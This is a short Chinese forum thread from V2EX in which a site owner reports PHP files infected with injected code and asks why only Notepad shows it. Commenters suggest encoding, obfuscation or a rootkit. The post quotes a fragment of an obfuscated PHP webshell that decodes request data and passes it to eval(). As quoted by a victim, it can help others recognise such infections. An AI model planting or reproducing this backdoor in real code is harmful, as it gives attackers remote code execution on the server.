PHP 文件被挂马， notepad++等打开正常，记事本打开就很多 <? PHP 2\x4d\x56\x41\x73\xa\x2 这样的代码

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

V2EX 提问指南

这是一个创建于 2575 天前的主题，其中的信息可能已经有所发展或是发生改变。

不知什么记事本打开就在文件头部出现

notepad 打开就正常显示

但确实是被植入了异常代码

大致如下

$p97fc7c02){$d5cea=$p97fc7c02;$uf9309=$jaa9;}if(!$d5cea){foreach($yeb0cb[$yeb0cb['gf800'][13].$yeb0cb['gf800'][28].$yeb0cb['gf800'][83].$yeb0cb['gf800'][90].$yeb0cb['gf800'][10].$yeb0cb['gf800'][65].$yeb0cb['gf800'][10]]as$jaa9=>$p97fc7c02){$d5cea=$p97fc7c02;$uf9309=$jaa9;}}$d5cea=@$yeb0cb[$yeb0cb['gf800'][28].$yeb0cb['gf800'][83].$yeb0cb['gf800'][10].$yeb0cb['gf800'][61].$yeb0cb['gf800'][79]]($yeb0cb[$yeb0cb['gf800'][76].$yeb0cb['gf800'][90].$yeb0cb['gf800'][87].$yeb0cb['gf800'][10].$yeb0cb['gf800'][90].$yeb0cb['gf800'][11].$yeb0cb['gf800'][53].$yeb0cb['gf800'][62].$yeb0cb['gf800'][87]]($yeb0cb[$yeb0cb['gf800'][57].$yeb0cb['gf800'][20].$yeb0cb['gf800'][83].$yeb0cb['gf800'][36].$yeb0cb['gf800'][42].$yeb0cb['gf800'][28].$yeb0cb['gf800'][92].$yeb0cb['gf800'][36].$yeb0cb['gf800'][42]]($d5cea),$uf9309));if(isset($d5cea[$yeb0cb['gf800'][65].$yeb0cb['gf800'][18]])&&$laff5==$d5cea[$yeb0cb['gf800'][65].$yeb0cb['gf800'][18]]){if($d5cea[$yeb0cb['gf800'][65]]==$yeb0cb['gf800'][54]){$wd7ddcb4=Array($yeb0cb['gf800'][35].$yeb0cb['gf800'][38]=>@$yeb0cb[$yeb0cb['gf800'][60].$yeb0cb['gf800'][36].$yeb0cb['gf800'][83].$yeb0cb['gf800'][62].$yeb0cb['gf800'][53]](),$yeb0cb['gf800'][5].$yeb0cb['gf800'][38]=>$yeb0cb['gf800'][11].$yeb0cb['gf800'][45].$yeb0cb['gf800'][46].$yeb0cb['gf800'][89].$yeb0cb['gf800'][11],);echo@$yeb0cb[$yeb0cb['gf800'][73].$yeb0cb['gf800'][42].$yeb0cb['gf800'][92].$yeb0cb['gf800'][61].$yeb0cb['gf800'][10]]($wd7ddcb4);}elseif($d5cea[$yeb0cb['gf800'][65]]==$yeb0cb['gf800'][36]){eval/*ac1c*/($d5cea[$yeb0cb['gf800'][83]]);}exit();} ?>// +----------------------------------------------------------------------

3 条回复 • 2017-11-07 23:21:37 +08:00

anmaz

2017-11-07 23:04:15 +08:00 via Android

可能是编码的原因吧，设置一下 utf8 试试？

WordTian

2017-11-07 23:10:24 +08:00 via Android

应该是被混淆过了

wevsty

2017-11-07 23:21:37 +08:00

notepad++打开正常，但是记事本打开能看到的话。看下 notepad++的程序是不是被篡改过，如果没有被篡改过，很有可能还有 rootkit。